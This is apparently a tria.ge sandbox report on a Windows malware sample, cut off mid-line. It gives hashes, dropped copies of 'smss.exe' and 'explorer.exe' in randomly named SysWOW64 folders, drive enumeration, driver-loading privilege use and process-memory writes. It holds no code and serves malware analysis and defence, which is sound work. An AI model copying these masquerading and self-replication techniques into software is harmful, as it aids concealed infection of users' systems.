Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
04/02/2024, 02:05
Behavioral task
behavioral1
Sample
8df3011621508198c7546c5841d055e5.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
8df3011621508198c7546c5841d055e5.exe
Resource
win10v2004-20231215-en
General
-
Target
8df3011621508198c7546c5841d055e5.exe
-
Size
78KB
-
MD5
8df3011621508198c7546c5841d055e5
-
SHA1
3d6c2def59cd327c0752ce00c1c12513e6b9b73a
-
SHA256
2f11fd0a2aba6d5d3485033ccad0d668d66fd10c366b11f199b3bdbb2b67c398
-
SHA512
8808589b0127be53d5ca24eb4b181df559df6d5d6b1f14fe5528a2c01def4e295040b1f544dd3ec156d502d1d127b631d56893339e31556ead4ed6b8dfd8cf18
-
SSDEEP
1536:uuAbVcACMLwDynAd3fEW2USe+lBHaFhhtK0P2Ah76VFhbe+Msg6ZN:uuqOeMDyn08HBHIT36VPbC
Malware Config
Signatures
-
Executes dropped EXE 64 IoCs
pid Process 3732 ghystwrahbkb.exe 1432 smss.exe 4876 smss.exe 1752 smss.exe 60 smss.exe 1216 smss.exe 2344 smss.exe 3772 smss.exe 4068 smss.exe 3616 smss.exe 2776 smss.exe 4688 smss.exe 4288 smss.exe 3548 smss.exe 3608 smss.exe 4868 smss.exe 4364 explorer.exe 3488 smss.exe 3640 smss.exe 2640 explorer.exe 764 smss.exe 4296 smss.exe 3752 smss.exe 3208 explorer.exe 2144 smss.exe 2280 smss.exe 64 smss.exe 5028 smss.exe 2356 explorer.exe 684 smss.exe 3584 smss.exe 3016 smss.exe 4900 smss.exe 1984 explorer.exe 2228 smss.exe 3364 smss.exe 4648 smss.exe 4476 explorer.exe 2744 smss.exe 4584 smss.exe 852 smss.exe 928 smss.exe 1540 smss.exe 3572 smss.exe 4508 smss.exe 1108 explorer.exe 944 smss.exe 3088 smss.exe 3464 smss.exe 2172 smss.exe 4520 smss.exe 5044 smss.exe 1336 smss.exe 2552 explorer.exe 4208 smss.exe 4136 smss.exe 4572 smss.exe 3884 smss.exe 4064 smss.exe 4944 smss.exe 4964 smss.exe 3048 explorer.exe 2352 smss.exe 1792 smss.exe -
resource yara_rule behavioral2/files/0x0007000000023100-4.dat upx behavioral2/memory/3732-5-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/3732-26-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/1216-27-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/1432-31-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/2344-32-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/4876-36-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/3772-37-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/1752-41-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/4068-42-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/60-46-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/2776-58-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/4688-64-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/4288-70-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/3548-76-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/3616-81-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/3608-82-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/4868-101-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/4364-109-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/3488-112-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/3640-117-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/2640-118-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/764-121-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/4296-125-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/2144-130-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/2280-134-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/684-140-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/2640-145-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/3584-146-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/3752-150-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/3208-152-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/2228-153-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/4648-161-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/4584-166-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/2744-167-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/64-164-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/5028-171-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/2356-172-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/928-173-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/852-174-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/684-175-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/3016-183-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/3572-184-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/4900-185-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/4508-186-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/1984-187-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/3364-189-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/944-188-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/3464-191-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/4476-192-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/2172-193-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/5044-200-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/1540-201-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/4208-202-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/4136-203-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/1108-205-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/944-206-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/4572-207-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/3884-208-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/3088-209-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/4064-210-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/2172-218-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/4964-219-0x0000000000400000-0x0000000000446000-memory.dmp upx behavioral2/memory/4520-221-0x0000000000400000-0x0000000000446000-memory.dmp upx -
Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\w: smss.exe File opened (read-only) \??\m: smss.exe File opened (read-only) \??\v: explorer.exe File opened (read-only) \??\p: smss.exe File opened (read-only) \??\r: smss.exe File opened (read-only) \??\k: smss.exe File opened (read-only) \??\e: smss.exe File opened (read-only) \??\v: smss.exe File opened (read-only) \??\v: smss.exe File opened (read-only) \??\n: smss.exe File opened (read-only) \??\y: explorer.exe File opened (read-only) \??\y: smss.exe File opened (read-only) \??\o: smss.exe File opened (read-only) \??\x: smss.exe File opened (read-only) \??\u: smss.exe File opened (read-only) \??\y: smss.exe File opened (read-only) \??\x: smss.exe File opened (read-only) \??\e: smss.exe File opened (read-only) \??\y: smss.exe File opened (read-only) \??\e: smss.exe File opened (read-only) \??\y: smss.exe File opened (read-only) \??\n: smss.exe File opened (read-only) \??\r: smss.exe File opened (read-only) \??\h: smss.exe File opened (read-only) \??\t: smss.exe File opened (read-only) \??\k: smss.exe File opened (read-only) \??\i: smss.exe File opened (read-only) \??\p: smss.exe File opened (read-only) \??\l: explorer.exe File opened (read-only) \??\k: smss.exe File opened (read-only) \??\p: smss.exe File opened (read-only) \??\w: smss.exe File opened (read-only) \??\s: smss.exe File opened (read-only) \??\g: smss.exe File opened (read-only) \??\e: explorer.exe File opened (read-only) \??\l: explorer.exe File opened (read-only) \??\p: explorer.exe File opened (read-only) \??\z: smss.exe File opened (read-only) \??\m: smss.exe File opened (read-only) \??\s: smss.exe File opened (read-only) \??\t: explorer.exe File opened (read-only) \??\j: smss.exe File opened (read-only) \??\t: smss.exe File opened (read-only) \??\u: smss.exe File opened (read-only) \??\x: smss.exe File opened (read-only) \??\w: smss.exe File opened (read-only) \??\p: smss.exe File opened (read-only) \??\o: explorer.exe File opened (read-only) \??\i: smss.exe File opened (read-only) \??\z: smss.exe File opened (read-only) \??\s: smss.exe File opened (read-only) \??\o: smss.exe File opened (read-only) \??\o: explorer.exe File opened (read-only) \??\y: smss.exe File opened (read-only) \??\p: smss.exe File opened (read-only) \??\r: smss.exe File opened (read-only) \??\i: smss.exe File opened (read-only) \??\l: smss.exe File opened (read-only) \??\j: smss.exe File opened (read-only) \??\u: smss.exe File opened (read-only) \??\v: smss.exe File opened (read-only) \??\w: explorer.exe File opened (read-only) \??\e: smss.exe File opened (read-only) \??\e: smss.exe -
Drops file in System32 directory 64 IoCs
description ioc Process File created C:\Windows\SysWOW64\fathkqqybdvq\smss.exe smss.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe smss.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe smss.exe File created C:\Windows\SysWOW64\fathkqqybdvq\smss.exe smss.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe smss.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe smss.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe explorer.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe smss.exe File created C:\Windows\SysWOW64\fathkqqybdvq\smss.exe explorer.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe smss.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe smss.exe File created C:\Windows\SysWOW64\fathkqqybdvq\smss.exe smss.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe smss.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe smss.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe explorer.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe smss.exe File created C:\Windows\SysWOW64\fathkqqybdvq\smss.exe smss.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe smss.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe smss.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe smss.exe File created C:\Windows\SysWOW64\fathkqqybdvq\smss.exe smss.exe File created C:\Windows\SysWOW64\fathkqqybdvq\smss.exe explorer.exe File created C:\Windows\SysWOW64\fathkqqybdvq\smss.exe smss.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe smss.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe smss.exe File created C:\Windows\SysWOW64\fathkqqybdvq\smss.exe smss.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe smss.exe File created C:\Windows\SysWOW64\fathkqqybdvq\smss.exe smss.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe smss.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe smss.exe File created C:\Windows\SysWOW64\fathkqqybdvq\smss.exe smss.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe explorer.exe File created C:\Windows\SysWOW64\fathkqqybdvq\smss.exe smss.exe File created C:\Windows\SysWOW64\fathkqqybdvq\smss.exe smss.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe explorer.exe File created C:\Windows\SysWOW64\fathkqqybdvq\smss.exe smss.exe File created C:\Windows\SysWOW64\fathkqqybdvq\smss.exe smss.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe smss.exe File created C:\Windows\SysWOW64\fathkqqybdvq\smss.exe smss.exe File created C:\Windows\SysWOW64\fathkqqybdvq\smss.exe smss.exe File created C:\Windows\SysWOW64\fathkqqybdvq\smss.exe explorer.exe File created C:\Windows\SysWOW64\fathkqqybdvq\smss.exe smss.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe smss.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe smss.exe File created C:\Windows\SysWOW64\fathkqqybdvq\smss.exe smss.exe File created C:\Windows\SysWOW64\fathkqqybdvq\smss.exe smss.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe explorer.exe File opened for modification C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe smss.exe File created C:\Windows\SysWOW64\fathkqqybdvq\smss.exe smss.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe smss.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe explorer.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe smss.exe File created C:\Windows\SysWOW64\fathkqqybdvq\smss.exe smss.exe File opened for modification C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe smss.exe File created C:\Windows\SysWOW64\fathkqqybdvq\smss.exe explorer.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe smss.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe smss.exe File created C:\Windows\SysWOW64\fathkqqybdvq\smss.exe smss.exe File created C:\Windows\SysWOW64\fathkqqybdvq\smss.exe smss.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe smss.exe File created C:\Windows\SysWOW64\fathkqqybdvq\smss.exe smss.exe File created C:\Windows\SysWOW64\fathkqqybdvq\smss.exe smss.exe File created C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exe smss.exe File created C:\Windows\SysWOW64\fathkqqybdvq\smss.exe smss.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3338423489" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000d4d347bde384c849be64bb2f1c358fef00000000020000000000106600000001000020000000a783181c9b97b2e0c376b95e266d47a5c5fd473bbef738348cc91e0ad6885338000000000e800000000200002000000070605d1ec9c59fce47d857cda6265ab0ea06c1094228ae94d610751e690e6367200000009b8ac5e5b196d7589ed9cbf3365c44eb914b44214234a83f677abd337f3a9ac34000000068dba0d36630d96408c569f322d2a45c62c9fea2e5df8e3d314605e0a55cde7ed31ccb49cbb3bf59a700099b74a22ad56838bcbf305d2a1be4e9c67065ca09da IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = b07d18d20e57da01 IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000d4d347bde384c849be64bb2f1c358fef0000000002000000000010660000000100002000000082319ddad5dd4ad9002ec5a4a56a41bac6be6b7d6b8674b370660ff7a48dbace000000000e8000000002000020000000f7f8d777a1652bf944ae4ddaf0d13ce9ebe24a48959889e83fa8d66d80e6c74020000000ef697b627d812576ec66f0b777b629e7270387ccebbbf913bb6c7fcbf0937006400000009892c049cae2090ead5f74d37a75f838f12136d9aa4064540704fd4c6f383de9cd9410bce5309e401f8fce6e39ccc10b27c94c9e60c520a66fe7e37e207f64d0 IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\DomainSuggestion IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\"" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31086350" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\VersionManager IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31086350" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{F09BADE2-C301-11EE-B6AD-5A2E32B6DBC3} = "0" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 80012ed20e57da01 IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31086350" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "413777337" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3311079255" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\VersionManager IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\GPU IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "3311079255" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ IEXPLORE.EXE -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeLoadDriverPrivilege 3732 ghystwrahbkb.exe Token: SeLoadDriverPrivilege 1432 smss.exe Token: SeLoadDriverPrivilege 4876 smss.exe Token: SeLoadDriverPrivilege 1752 smss.exe Token: SeLoadDriverPrivilege 60 smss.exe Token: SeLoadDriverPrivilege 1216 smss.exe Token: SeLoadDriverPrivilege 2344 smss.exe Token: SeLoadDriverPrivilege 3772 smss.exe Token: SeLoadDriverPrivilege 4068 smss.exe Token: SeLoadDriverPrivilege 3616 smss.exe Token: SeLoadDriverPrivilege 2776 smss.exe Token: SeLoadDriverPrivilege 4688 smss.exe Token: SeLoadDriverPrivilege 4288 smss.exe Token: SeLoadDriverPrivilege 3548 smss.exe Token: SeLoadDriverPrivilege 3608 smss.exe Token: SeLoadDriverPrivilege 4868 smss.exe Token: SeLoadDriverPrivilege 4364 explorer.exe Token: SeLoadDriverPrivilege 3488 smss.exe Token: SeLoadDriverPrivilege 3640 smss.exe Token: SeLoadDriverPrivilege 2640 explorer.exe Token: SeLoadDriverPrivilege 764 smss.exe Token: SeLoadDriverPrivilege 4296 smss.exe Token: SeLoadDriverPrivilege 3752 smss.exe Token: SeLoadDriverPrivilege 3208 explorer.exe Token: SeLoadDriverPrivilege 2144 smss.exe Token: SeLoadDriverPrivilege 2280 smss.exe Token: SeLoadDriverPrivilege 64 smss.exe Token: SeLoadDriverPrivilege 5028 smss.exe Token: SeLoadDriverPrivilege 2356 explorer.exe Token: SeLoadDriverPrivilege 684 smss.exe Token: SeLoadDriverPrivilege 3584 smss.exe Token: SeLoadDriverPrivilege 3016 smss.exe Token: SeLoadDriverPrivilege 4900 smss.exe Token: SeLoadDriverPrivilege 1984 explorer.exe Token: SeLoadDriverPrivilege 2228 smss.exe Token: SeLoadDriverPrivilege 3364 smss.exe Token: SeLoadDriverPrivilege 4648 smss.exe Token: SeLoadDriverPrivilege 2744 smss.exe Token: SeLoadDriverPrivilege 4584 smss.exe Token: SeLoadDriverPrivilege 4476 explorer.exe Token: SeLoadDriverPrivilege 852 smss.exe Token: SeLoadDriverPrivilege 928 smss.exe Token: SeLoadDriverPrivilege 1540 smss.exe Token: SeLoadDriverPrivilege 3572 smss.exe Token: SeLoadDriverPrivilege 4508 smss.exe Token: SeLoadDriverPrivilege 944 smss.exe Token: SeLoadDriverPrivilege 1108 explorer.exe Token: SeLoadDriverPrivilege 3464 smss.exe Token: SeLoadDriverPrivilege 3088 smss.exe Token: SeLoadDriverPrivilege 2172 smss.exe Token: SeLoadDriverPrivilege 4520 smss.exe Token: SeLoadDriverPrivilege 5044 smss.exe Token: SeLoadDriverPrivilege 1336 smss.exe Token: SeLoadDriverPrivilege 2552 explorer.exe Token: SeLoadDriverPrivilege 4208 smss.exe Token: SeLoadDriverPrivilege 4136 smss.exe Token: SeLoadDriverPrivilege 4572 smss.exe Token: SeLoadDriverPrivilege 3884 smss.exe Token: SeLoadDriverPrivilege 4064 smss.exe Token: SeLoadDriverPrivilege 4944 smss.exe Token: SeLoadDriverPrivilege 4964 smss.exe Token: SeLoadDriverPrivilege 3048 explorer.exe Token: SeLoadDriverPrivilege 1792 smss.exe Token: SeLoadDriverPrivilege 2352 smss.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3748 IEXPLORE.EXE -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 3748 IEXPLORE.EXE 3748 IEXPLORE.EXE 4356 IEXPLORE.EXE 4356 IEXPLORE.EXE 4356 IEXPLORE.EXE 4356 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 540 wrote to memory of 4804 540 8df3011621508198c7546c5841d055e5.exe 86 PID 540 wrote to memory of 4804 540 8df3011621508198c7546c5841d055e5.exe 86 PID 540 wrote to memory of 4804 540 8df3011621508198c7546c5841d055e5.exe 86 PID 4804 wrote to memory of 3748 4804 iexplore.exe 87 PID 4804 wrote to memory of 3748 4804 iexplore.exe 87 PID 3748 wrote to memory of 4356 3748 IEXPLORE.EXE 90 PID 3748 wrote to memory of 4356 3748 IEXPLORE.EXE 90 PID 3748 wrote to memory of 4356 3748 IEXPLORE.EXE 90 PID 540 wrote to memory of 3732 540 8df3011621508198c7546c5841d055e5.exe 91 PID 540 wrote to memory of 3732 540 8df3011621508198c7546c5841d055e5.exe 91 PID 540 wrote to memory of 3732 540 8df3011621508198c7546c5841d055e5.exe 91 PID 3732 wrote to memory of 1432 3732 ghystwrahbkb.exe 93 PID 3732 wrote to memory of 1432 3732 ghystwrahbkb.exe 93 PID 3732 wrote to memory of 1432 3732 ghystwrahbkb.exe 93 PID 1432 wrote to memory of 4876 1432 smss.exe 94 PID 1432 wrote to memory of 4876 1432 smss.exe 94 PID 1432 wrote to memory of 4876 1432 smss.exe 94 PID 4876 wrote to memory of 1752 4876 smss.exe 97 PID 4876 wrote to memory of 1752 4876 smss.exe 97 PID 4876 wrote to memory of 1752 4876 smss.exe 97 PID 1752 wrote to memory of 60 1752 smss.exe 98 PID 1752 wrote to memory of 60 1752 smss.exe 98 PID 1752 wrote to memory of 60 1752 smss.exe 98 PID 60 wrote to memory of 1216 60 smss.exe 99 PID 60 wrote to memory of 1216 60 smss.exe 99 PID 60 wrote to memory of 1216 60 smss.exe 99 PID 1216 wrote to memory of 2344 1216 smss.exe 100 PID 1216 wrote to memory of 2344 1216 smss.exe 100 PID 1216 wrote to memory of 2344 1216 smss.exe 100 PID 2344 wrote to memory of 3772 2344 smss.exe 101 PID 2344 wrote to memory of 3772 2344 smss.exe 101 PID 2344 wrote to memory of 3772 2344 smss.exe 101 PID 3772 wrote to memory of 4068 3772 smss.exe 102 PID 3772 wrote to memory of 4068 3772 smss.exe 102 PID 3772 wrote to memory of 4068 3772 smss.exe 102 PID 4068 wrote to memory of 3616 4068 smss.exe 103 PID 4068 wrote to memory of 3616 4068 smss.exe 103 PID 4068 wrote to memory of 3616 4068 smss.exe 103 PID 3616 wrote to memory of 2776 3616 smss.exe 105 PID 3616 wrote to memory of 2776 3616 smss.exe 105 PID 3616 wrote to memory of 2776 3616 smss.exe 105 PID 2776 wrote to memory of 4688 2776 smss.exe 106 PID 2776 wrote to memory of 4688 2776 smss.exe 106 PID 2776 wrote to memory of 4688 2776 smss.exe 106 PID 4688 wrote to memory of 4288 4688 smss.exe 107 PID 4688 wrote to memory of 4288 4688 smss.exe 107 PID 4688 wrote to memory of 4288 4688 smss.exe 107 PID 4288 wrote to memory of 3548 4288 smss.exe 108 PID 4288 wrote to memory of 3548 4288 smss.exe 108 PID 4288 wrote to memory of 3548 4288 smss.exe 108 PID 3548 wrote to memory of 3608 3548 smss.exe 109 PID 3548 wrote to memory of 3608 3548 smss.exe 109 PID 3548 wrote to memory of 3608 3548 smss.exe 109 PID 540 wrote to memory of 4224 540 8df3011621508198c7546c5841d055e5.exe 110 PID 540 wrote to memory of 4224 540 